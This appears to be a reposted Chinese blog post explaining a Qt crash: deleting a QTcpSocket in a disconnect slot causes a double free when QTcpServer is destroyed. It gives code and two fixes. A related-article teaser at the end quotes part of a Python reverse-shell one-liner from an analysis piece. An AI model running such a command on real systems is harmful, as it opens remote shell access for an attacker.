关于QSocket的释放的一个需要注意的情况(必须先断开连接)

摘要:
          ... }} 当程序窗口关闭时,这将导致崩溃:Qt将首先检查QtcpServer下套接字指针指向的内存是否在销毁过程中被释放;然后执行每个套接字的关闭操作,然后释放刚刚检查但尚未释放的套接字内存。disconnect()信号通过插槽释放操作连接到插槽。

最近在用QtNetwork编写服务器程序进行TCP/IP通信,大体过程如下:

1. 创建一个QTcpServer实例,监听目标IP和端口;

2. 一旦监听到有连接,获取和客户端之间的socket;

3. 使用socket进行通信;

4. 通信结束后,可以手动释放socket,也可以不管它,在释放QTcpServer的时候会把其下的所有socket全部自动释放。

在编写时,我做了如下事:

[cpp] view plain copy
 
  1. TcpNetwork::TcpNetwork()  
  2. {  
  3.     ...  
  4.     connect(mySocket, SIGNAL(disconnect(QTcpSocket*)), this, SLOT(ServerConnectionLost(QTcpSocket*)));  
  5.     ...  
  6. }  
[cpp] view plain copy
 
  1. TcpNetwork::~TcpNetwork()  
  2. {  
  3.     if (tcpServer != NULL)  
  4.     {  
  5.         delete tcpServer;  
  6.     }  
  7. }  
[cpp] view plain copy
 
  1. <pre name="code" class="cpp">void TcpNetwork::ServerConnectionLost(QTcpSocket *socket)  
  2. {     
  3.     if (socket == mySocket)  
  4.     {  
  5.         ...  
  6.         // debug  
  7.         delete mySocket;  
  8.         mySocket = NULL;  
  9.         ...  
  10.     }  
  11. }  



这样在关闭程序窗口时会导致崩溃,看了一下QTcpServer的析构函数源码后发现,在析构时Qt会首先检查QtcpServer下的socket指针所指向内存是否已被释放,然后执行每个socket的关闭操作,随后释放刚才被检查过的未被释放的socket内存,最后释放QTcpServer。

如果将QTcpSocket::disconnect()信号与一个其中带有释放socket操作的槽连接起来,那么如果socket还没有关闭就直接析构QTcpServer,在执行断开socket这一步时(如果之前已经断开了就不会再执行这一步了)会触发带有删除socket操作的槽,然而析构函数对此一无所知,紧接着便是析构函数来释放socket,也就造成了socket的内存的重复释放,导致崩溃。

解决方法:在关闭窗口之前先关闭socket,这样在析构函数中就不会再执行关闭socket的操作。或者在连接断开时触发的含有释放socket操作的槽中将delete socket改为socket->deleteLater()。

http://blog.csdn.net/qq_19672579/article/details/47973409

免责声明:文章转载自《关于QSocket的释放的一个需要注意的情况(必须先断开连接)》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇word文档下划线无法显示的解决方法如何知道一个App的包名呢下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

如何判断SOCKET已经断开

http://biancheng.dnbcw.info/linux/366100.html     最近在做一个服务器端程序,C/S结构。功能方面比较简单就是client端与server端建立连接,然后发送消息给server。我在server端会使用专门的线程处理一条socket连接。这就涉及到一个问题,如果socket连接断开(异常,正常)后,我如何才能...

线程中CreateEvent和SetEvent及WaitForSingleObject的用法

线程中CreateEvent和SetEvent及WaitForSingleObject的用法 首先介绍CreateEvent是创建windows事件的意思,作用主要用在判断线程退出,程锁定方面. CreateEvent 函功能描述:创建或打开一个命名的或无名的事件对象. EVENT有两种状态:发信号,不发信号。 SetEvent/ResetEvent分别将...

记一次对python反弹shell的分析

前言 昨天学习了反弹shell,对python弹shell产生了一些疑惑 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.0.0.0",1234));os.dup2(s.fileno(),0); o...

Socket异步通信——使用SocketAsyncEventArgs

  上一次的博文说错了东西,幸好有园友指出。才把错误改正过来,顺便也把利用SocketAsyncEventArgs进行Socket异步通信这方面的知识整理一下。       之前看了网上的代码,每进行一次异步操作都new 一个SocketAsyncEventArgs对象,然后网友评论太浪费资源了,于是就误以为用BeginXXX进行Socket异步通信会更优...

socket测试3

20191218 2021-2022-1-diocs-socket测试-3 服务器端 编写好服务器端程序,开启13端口,等待客户机连接 客户端 绑定服务器IP,选择13号端口 服务器端和客户端同步 我编写的代码服务器端会每隔一秒响应时间请求(即屏幕中有多少条记录即查看了多少次时间) 客户端 服务器端 多客户端访问 之前的客户端是用的OpenEuler...

Linux网络编程笔记(修订版)

我的网络编程笔记, 因为最近又要做Linux下的网络编程,故重新修订, 其中一些内容参考了文末的链接及文章 1.   基本概念 2.   基本接口 2.1.   打开一个socket 2.2.   将socket绑定定指定的端口—bind 2.3.   侦听socket—listen (服务器端) 2.4.   等待接收请求—accept (服务器端) 2...